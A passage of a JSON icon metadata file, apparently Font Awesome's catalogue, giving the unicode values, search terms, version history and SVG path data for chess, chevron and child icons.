        "path": "M226.6 48H117.3l17.1 12.8c6 4.5 9.6 11.6 9.6 19.2s-3.6 14.7-9.6 19.2l-6.5 4.9c-10 7.5-16 19.3-16 31.9l-.3 91c0 10.2 4.9 19.9 13.2 25.8l1.9 1.3c9.9 7.1 23.3 7 33.2-.1l49.9-36.3c10.7-7.8 25.7-5.4 33.5 5.3s5.4 25.7-5.3 33.5l-49.9 36.3-53.8 39.1c-7.3 5.3-13 12.2-16.9 20.1H66.8c5.3-22.1 17.8-41.9 35.9-56.3c-1.3-.8-2.6-1.7-3.8-2.6L97 291.8c-21-15-33.4-39.2-33.3-65l.3-91c.1-19.8 6.7-38.7 18.6-53.9l-.4-.3C70.7 73 64 59.6 64 45.3C64 20.3 84.3 0 109.3 0H226.6C331.2 0 416 84.8 416 189.4c0 11.1-1 22.2-2.9 33.2L390.1 352H341.3l24.5-137.8c1.5-8.2 2.2-16.5 2.2-24.8C368 111.3 304.7 48 226.6 48zM85.2 432L68.7 464H379.3l-16.6-32H85.2zm315.7-30.7l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H56.8C34.2 512 16 493.8 16 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C52.5 390.7 63.5 384 75.5 384h297c12 0 22.9 6.7 28.4 17.3zM172 128a20 20 0 1 1 0 40 20 20 0 1 1 0-40z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-pawn": {
    "aliases": {
      "unicodes": {
        "composite": ["265f"],
        "secondary": ["10f443"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "board",
        "checkmate",
        "chess",
        "chess pawn",
        "dupe",
        "expendable",
        "game",
        "strategy"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f443",
    "label": "Chess Pawn",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M215.5 224c29.2-18.4 48.5-50.9 48.5-88c0-57.4-46.6-104-104-104S56 78.6 56 136c0 37.1 19.4 69.6 48.5 88H96c-17.7 0-32 14.3-32 32c0 16.5 12.5 30 28.5 31.8L80 400H240L227.5 287.8c16-1.8 28.5-15.3 28.5-31.8c0-17.7-14.3-32-32-32h-8.5zM22.6 473.4c-4.2 4.2-6.6 10-6.6 16C16 501.9 26.1 512 38.6 512H281.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L256 432H64L22.6 473.4z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M215.5 224c29.2-18.4 48.5-50.9 48.5-88c0-57.4-46.6-104-104-104S56 78.6 56 136c0 37.1 19.4 69.6 48.5 88H96c-17.7 0-32 14.3-32 32c0 16.5 12.5 30 28.5 31.8L80 400H240L227.5 287.8c16-1.8 28.5-15.3 28.5-31.8c0-17.7-14.3-32-32-32h-8.5zM22.6 473.4c-4.2 4.2-6.6 10-6.6 16C16 501.9 26.1 512 38.6 512H281.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L256 432H64L22.6 473.4z"
      },
      "regular": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M232 152A72 72 0 1 0 88 152a72 72 0 1 0 144 0zm24 120H243.4l10.7 80H205.7L195 272H160 125l-10.7 80H65.9l10.7-80H64c-13.3 0-24-10.7-24-24s10.7-24 24-24c-15.1-20.1-24-45-24-72C40 85.7 93.7 32 160 32s120 53.7 120 120c0 27-8.9 51.9-24 72c13.3 0 24 10.7 24 24s-10.7 24-24 24zM52.7 464H267.3l-16.6-32H69.2L52.7 464zm207.9-80c12 0 22.9 6.7 28.4 17.3l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H40.8C18.2 512 0 493.8 0 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C36.5 390.7 47.5 384 59.5 384h201z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M232 152A72 72 0 1 0 88 152a72 72 0 1 0 144 0zm24 120H243.4l10.7 80H205.7L195 272H160 125l-10.7 80H65.9l10.7-80H64c-13.3 0-24-10.7-24-24s10.7-24 24-24c-15.1-20.1-24-45-24-72C40 85.7 93.7 32 160 32s120 53.7 120 120c0 27-8.9 51.9-24 72c13.3 0 24 10.7 24 24s-10.7 24-24 24zM52.7 464H267.3l-16.6-32H69.2L52.7 464zm207.9-80c12 0 22.9 6.7 28.4 17.3l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H40.8C18.2 512 0 493.8 0 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C36.5 390.7 47.5 384 59.5 384h201z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-queen": {
    "aliases": {
      "unicodes": {
        "composite": ["265b"],
        "secondary": ["10f445"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Black Chess Queen", "board", "checkmate", "game", "strategy"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f445",
    "label": "Chess Queen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a56 56 0 1 1 0 112A56 56 0 1 1 256 0zM134.1 143.8c3.3-13 15-23.8 30.2-23.8c12.3 0 22.6 7.2 27.7 17c12 23.2 36.2 39 64 39s52-15.8 64-39c5.1-9.8 15.4-17 27.7-17c15.3 0 27 10.8 30.2 23.8c7 27.8 32.2 48.3 62.1 48.3c10.8 0 21-2.7 29.8-7.4c8.4-4.4 18.9-4.5 27.6 .9c13 8 17.1 25 9.2 38L399.7 400H384 343.6 168.4 128 112.3L5.4 223.6c-7.9-13-3.8-30 9.2-38c8.7-5.3 19.2-5.3 27.6-.9c8.9 4.7 19 7.4 29.8 7.4c29.9 0 55.1-20.5 62.1-48.3zM256 224l0 0 0 0h0zM112 432H400l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H86.6C74.1 512 64 501.9 64 489.4c0-6 2.4-11.8 6.6-16L112 432z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a56 56 0 1 1 0 112A56 56 0 1 1 256 0zM134.1 143.8c3.3-13 15-23.8 30.2-23.8c12.3 0 22.6 7.2 27.7 17c12 23.2 36.2 39 64 39s52-15.8 64-39c5.1-9.8 15.4-17 27.7-17c15.3 0 27 10.8 30.2 23.8c7 27.8 32.2 48.3 62.1 48.3c10.8 0 21-2.7 29.8-7.4c8.4-4.4 18.9-4.5 27.6 .9c13 8 17.1 25 9.2 38L399.7 400H384 343.6 168.4 128 112.3L5.4 223.6c-7.9-13-3.8-30 9.2-38c8.7-5.3 19.2-5.3 27.6-.9c8.9 4.7 19 7.4 29.8 7.4c29.9 0 55.1-20.5 62.1-48.3zM256 224l0 0 0 0h0zM112 432H400l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H86.6C74.1 512 64 501.9 64 489.4c0-6 2.4-11.8 6.6-16L112 432z"
      },
      "regular": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-95.2-8c-18.1 0-31.3 12.8-35.6 26.9c-8 26.2-32.4 45.2-61.2 45.2c-10 0-19.4-2.3-27.7-6.3c-7.6-3.7-16.7-3.3-24 1.2C.7 162.1-3.1 177.1 3.7 188.9L97.6 352H153l-83-144.1c40.5-2.2 75.3-25.9 93.1-59.8c22 26.8 55.4 43.9 92.8 43.9s70.8-17.1 92.8-43.9c17.8 34 52.6 57.7 93.1 59.8L359 352h55.4l93.9-163.1c6.8-11.7 3-26.7-8.6-33.8c-7.3-4.5-16.4-4.9-24-1.2c-8.4 4-17.7 6.3-27.7 6.3c-28.8 0-53.2-19-61.2-45.2C382.5 100.8 369.3 88 351.2 88c-14.5 0-26.3 8.5-32.4 19.3c-12.4 22-35.9 36.7-62.8 36.7s-50.4-14.8-62.8-36.7C187.1 96.5 175.4 88 160.8 88zM133.2 432H378.8l16.6 32H116.7l16.6-32zm283.7-30.7c-5.5-10.6-16.5-17.3-28.4-17.3h-265c-12 0-22.9 6.7-28.4 17.3L68.6 452.5c-3 5.8-4.6 12.2-4.6 18.7c0 22.5 18.2 40.8 40.8 40.8H407.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-95.2-8c-18.1 0-31.3 12.8-35.6 26.9c-8 26.2-32.4 45.2-61.2 45.2c-10 0-19.4-2.3-27.7-6.3c-7.6-3.7-16.7-3.3-24 1.2C.7 162.1-3.1 177.1 3.7 188.9L97.6 352H153l-83-144.1c40.5-2.2 75.3-25.9 93.1-59.8c22 26.8 55.4 43.9 92.8 43.9s70.8-17.1 92.8-43.9c17.8 34 52.6 57.7 93.1 59.8L359 352h55.4l93.9-163.1c6.8-11.7 3-26.7-8.6-33.8c-7.3-4.5-16.4-4.9-24-1.2c-8.4 4-17.7 6.3-27.7 6.3c-28.8 0-53.2-19-61.2-45.2C382.5 100.8 369.3 88 351.2 88c-14.5 0-26.3 8.5-32.4 19.3c-12.4 22-35.9 36.7-62.8 36.7s-50.4-14.8-62.8-36.7C187.1 96.5 175.4 88 160.8 88zM133.2 432H378.8l16.6 32H116.7l16.6-32zm283.7-30.7c-5.5-10.6-16.5-17.3-28.4-17.3h-265c-12 0-22.9 6.7-28.4 17.3L68.6 452.5c-3 5.8-4.6 12.2-4.6 18.7c0 22.5 18.2 40.8 40.8 40.8H407.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-rook": {
    "aliases": {
      "unicodes": {
        "composite": ["265c"],
        "secondary": ["10f447"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Chess Rook",
        "board",
        "castle",
        "checkmate",
        "game",
        "strategy"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f447",
    "label": "Chess Rook",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 192V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V88c0 4.4 3.6 8 8 8h32c4.4 0 8-3.6 8-8V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V88c0 4.4 3.6 8 8 8h32c4.4 0 8-3.6 8-8V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V192c0 10.1-4.7 19.6-12.8 25.6L352 256l16 144H80L96 256 44.8 217.6C36.7 211.6 32 202.1 32 192zm176 96h32c8.8 0 16-7.2 16-16V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 8.8 7.2 16 16 16zM22.6 473.4L64 432H384l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H38.6C26.1 512 16 501.9 16 489.4c0-6 2.4-11.8 6.6-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 192V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V88c0 4.4 3.6 8 8 8h32c4.4 0 8-3.6 8-8V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V88c0 4.4 3.6 8 8 8h32c4.4 0 8-3.6 8-8V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V192c0 10.1-4.7 19.6-12.8 25.6L352 256l16 144H80L96 256 44.8 217.6C36.7 211.6 32 202.1 32 192zm176 96h32c8.8 0 16-7.2 16-16V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 8.8 7.2 16 16 16zM22.6 473.4L64 432H384l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H38.6C26.1 512 16 501.9 16 489.4c0-6 2.4-11.8 6.6-16z"
      },
      "regular": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M80 80V192c0 2.5 1.2 4.9 3.2 6.4l51.2 38.4c6.8 5.1 10.4 13.4 9.5 21.9L133.5 352H85.2l9.4-85L54.4 236.8C40.3 226.2 32 209.6 32 192V72c0-22.1 17.9-40 40-40H376c22.1 0 40 17.9 40 40V192c0 17.6-8.3 34.2-22.4 44.8L353.4 267l9.4 85H314.5l-10.4-93.3c-.9-8.4 2.7-16.8 9.5-21.9l51.2-38.4c2-1.5 3.2-3.9 3.2-6.4V80H304v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V80H192v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V80H80zm4.7 384H363.3l-16.6-32H101.2L84.7 464zm271.9-80c12 0 22.9 6.7 28.4 17.3l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H72.8C50.2 512 32 493.8 32 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C68.5 390.7 79.5 384 91.5 384h265zM208 288c-8.8 0-16-7.2-16-16V224c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 8.8-7.2 16-16 16H208z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M80 80V192c0 2.5 1.2 4.9 3.2 6.4l51.2 38.4c6.8 5.1 10.4 13.4 9.5 21.9L133.5 352H85.2l9.4-85L54.4 236.8C40.3 226.2 32 209.6 32 192V72c0-22.1 17.9-40 40-40H376c22.1 0 40 17.9 40 40V192c0 17.6-8.3 34.2-22.4 44.8L353.4 267l9.4 85H314.5l-10.4-93.3c-.9-8.4 2.7-16.8 9.5-21.9l51.2-38.4c2-1.5 3.2-3.9 3.2-6.4V80H304v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V80H192v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V80H80zm4.7 384H363.3l-16.6-32H101.2L84.7 464zm271.9-80c12 0 22.9 6.7 28.4 17.3l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H72.8C50.2 512 32 493.8 32 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C68.5 390.7 79.5 384 91.5 384h265zM208 288c-8.8 0-16-7.2-16-16V224c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 8.8-7.2 16-16 16H208z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chevron-down": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f078"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "download", "expand"]
    },
    "styles": ["solid"],
    "unicode": "f078",
    "label": "Chevron Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M233.4 406.6c12.5 12.5 32.8 12.5 45.3 0l192-192c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L256 338.7 86.6 169.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l192 192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M233.4 406.6c12.5 12.5 32.8 12.5 45.3 0l192-192c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L256 338.7 86.6 169.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l192 192z"
      }
    },
    "free": ["solid"]
  },
  "chevron-left": {
    "aliases": {
      "unicodes": {
        "composite": ["2329"],
        "secondary": ["10f053"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Left-Pointing Angle Bracket",
        "arrow",
        "back",
        "bracket",
        "previous"
      ]
    },
    "styles": ["solid"],
    "unicode": "f053",
    "label": "Chevron Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l192 192c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256 246.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-192 192z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l192 192c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256 246.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-192 192z"
      }
    },
    "free": ["solid"]
  },
  "chevron-right": {
    "aliases": {
      "unicodes": {
        "composite": ["232a"],
        "secondary": ["10f054"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Right-Pointing Angle Bracket",
        "arrow",
        "bracket",
        "forward",
        "next"
      ]
    },
    "styles": ["solid"],
    "unicode": "f054",
    "label": "Chevron Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M310.6 233.4c12.5 12.5 12.5 32.8 0 45.3l-192 192c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 256 73.4 86.6c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l192 192z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M310.6 233.4c12.5 12.5 12.5 32.8 0 45.3l-192 192c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 256 73.4 86.6c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l192 192z"
      }
    },
    "free": ["solid"]
  },
  "chevron-up": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f077"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "collapse", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f077",
    "label": "Chevron Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M233.4 105.4c12.5-12.5 32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L256 173.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l192-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M233.4 105.4c12.5-12.5 32.8-12.5 45.3 0l192 192c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L256 173.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l192-192z"
      }
    },
    "free": ["solid"]
  },
  "child": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1ae"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.1.1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["boy", "girl", "kid", "toddler", "young", "youth"]
    },
    "styles": ["solid"],
    "unicode": "f1ae",
    "label": "Child",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M96 64a64 64 0 1 1 128 0A64 64 0 1 1 96 64zm48 320v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V287.8L59.1 321c-9.4 15-29.2 19.4-44.1 10S-4.5 301.9 4.9 287l39.9-63.3C69.7 184 113.2 160 160 160s90.3 24 115.2 63.6L315.1 287c9.4 15 4.9 34.7-10 44.1s-34.7 4.9-44.1-10L240 287.8V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H144z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M96 64a64 64 0 1 1 128 0A64 64 0 1 1 96 64zm48 320v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V287.8L59.1 321c-9.4 15-29.2 19.4-44.1 10S-4.5 301.9 4.9 287l39.9-63.3C69.7 184 113.2 160 160 160s90.3 24 115.2 63.6L315.1 287c9.4 15 4.9 34.7-10 44.1s-34.7 4.9-44.1-10L240 287.8V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H144z"
      }
    },
    "free": ["solid"]
  },
  "child-combatant": {
    "aliases": {
      "names": ["child-rifle"]
    },
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["combatant"]
    },
    "styles": ["solid"],
    "unicode": "e4e0",
    "label": "Child Combatant",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M176 128A64 64 0 1 0 176 0a64 64 0 1 0 0 128zm-8 352V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V300.5L260.9 321c9.4 15 29.2 19.4 44.1 10s19.4-29.2 10-44.1l-51.7-82.1c-17.6-27.9-48.3-44.9-81.2-44.9H169.8c-33 0-63.7 16.9-81.2 44.9L36.9 287c-9.4 15-4.9 34.7 10 44.1s34.7 4.9 44.1-10L104 300.5V480c0 17.7 14.3 32 32 32s32-14.3 32-32zM448 0H432 416c-8.8 0-16 7.2-16 16s7.2 16 16 16V132.3c-9.6 5.5-16 15.9-16 27.7v32c-17.7 0-32 14.3-32 32V368c0 17.7 14.3 32 32 32h16v96c0 8.8 7.2 16 16 16h59.5c10.4 0 18-9.8 15.5-19.9L484 400h44c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H480V325.3l53.1-17.7c6.5-2.2 10.9-8.3 10.9-15.2V208c0-8.8-7.2-16-16-16H512c-8.8 0-16 7.2-16 16v56l-16 5.3V160c0-11.8-6.4-22.2-16-27.7V16c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M176 128A64 64 0 1 0 176 0a64 64 0 1 0 0 128zm-8 352V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V300.5L260.9 321c9.4 15 29.2 19.4 44.1 10s19.4-29.2 10-44.1l-51.7-82.1c-17.6-27.9-48.3-44.9-81.2-44.9H169.8c-33 0-63.7 16.9-81.2 44.9L36.9 287c-9.4 15-4.9 34.7 10 44.1s34.7 4.9 44.1-10L104 300.5V480c0 17.7 14.3 32 32 32s32-14.3 32-32zM448 0H432 416c-8.8 0-16 7.2-16 16s7.2 16 16 16V132.3c-9.6 5.5-16 15.9-16 27.7v32c-17.7 0-32 14.3-32 32V368c0 17.7 14.3 32 32 32h16v96c0 8.8 7.2 16 16 16h59.5c10.4 0 18-9.8 15.5-19.9L484 400h44c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H480V325.3l53.1-17.7c6.5-2.2 10.9-8.3 10.9-15.2V208c0-8.8-7.2-16-16-16H512c-8.8 0-16 7.2-16 16v56l-16 5.3V160c0-11.8-6.4-22.2-16-27.7V16c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "child-dress": {
    "changes": ["6.1.1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boy", "girl", "kid", "toddler", "young", "youth"]
    },
    "styles": ["solid"],
    "unicode": "e59c",
    "label": "Child Dress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M224 64A64 64 0 1 0 96 64a64 64 0 1 0 128 0zM88 400v80c0 17.7 14.3 32 32 32s32-14.3 32-32V400h16v80c0 17.7 14.3 32 32 32s32-14.3 32-32V400h17.8c10.9 0 18.6-10.7 15.2-21.1l-31.1-93.4 28.6 37.8c10.7 14.1 30.8 16.8 44.8 6.2s16.8-30.7 6.2-44.8L254.6 207c-22.4-29.6-57.5-47-94.6-47s-72.2 17.4-94.6 47L6.5 284.7c-10.7 14.1-7.9 34.2 6.2 44.8s34.2 7.9 44.8-6.2l28.7-37.8L55 378.9C51.6 389.3 59.3 400 70.2 400H88z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M224 64A64 64 0 1 0 96 64a64 64 0 1 0 128 0zM88 400v80c0 17.7 14.3 32 32 32s32-14.3 32-32V400h16v80c0 17.7 14.3 32 32 32s32-14.3 32-32V400h17.8c10.9 0 18.6-10.7 15.2-21.1l-31.1-93.4 28.6 37.8c10.7 14.1 30.8 16.8 44.8 6.2s16.8-30.7 6.2-44.8L254.6 207c-22.4-29.6-57.5-47-94.6-47s-72.2 17.4-94.6 47L6.5 284.7c-10.7 14.1-7.9 34.2 6.2 44.8s34.2 7.9 44.8-6.2l28.7-37.8L55 378.9C51.6 389.3 59.3 400 70.2 400H88z"
      }
    },
    "free": ["solid"]
  },
  "child-reaching": {
    "changes": ["6.1.1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boy", "girl", "kid", "toddler", "young", "youth"]
    },
    "styles": ["solid"],
    "unicode": "e59d",
    "label": "Child Reaching",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M256 64A64 64 0 1 0 128 64a64 64 0 1 0 128 0zM152.9 169.3c-23.7-8.4-44.5-24.3-58.8-45.8L74.6 94.2C64.8 79.5 45 75.6 30.2 85.4s-18.7 29.7-8.9 44.4L40.9 159c18.1 27.1 42.8 48.4 71.1 62.4V480c0 17.7 14.3 32 32 32s32-14.3 32-32V384h32v96c0 17.7 14.3 32 32 32s32-14.3 32-32V221.6c29.1-14.2 54.4-36.2 72.7-64.2l18.2-27.9c9.6-14.8 5.4-34.6-9.4-44.3s-34.6-5.5-44.3 9.4L291 122.4c-21.8 33.4-58.9 53.6-98.8 53.6c-12.6 0-24.9-2-36.6-5.8c-.9-.3-1.8-.7-2.7-.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M256 64A64 64 0 1 0 128 64a64 64 0 1 0 128 0zM152.9 169.3c-23.7-8.4-44.5-24.3-58.8-45.8L74.6 94.2C64.8 79.5 45 75.6 30.2 85.4s-18.7 29.7-8.9 44.4L40.9 159c18.1 27.1 42.8 48.4 71.1 62.4V480c0 17.7 14.3 32 32 32s32-14.3 32-32V384h32v96c0 17.7 14.3 32 32 32s32-14.3 32-32V221.6c29.1-14.2 54.4-36.2 72.7-64.2l18.2-27.9c9.6-14.8 5.4-34.6-9.4-44.3s-34.6-5.5-44.3 9.4L291 122.4c-21.8 33.4-58.9 53.6-98.8 53.6c-12.6 0-24.9-2-36.6-5.8c-.9-.3-1.8-.7-2.7-.9z"
      }
    },
    "free": ["solid"]
  },
  "children": {
    "changes": ["6.1.0", "6.1.1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boy", "child", "girl", "kid", "kids", "young", "youth"]
    },
    "styles": ["solid"],
    "unicode": "e4e1",
    "label": "Children",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
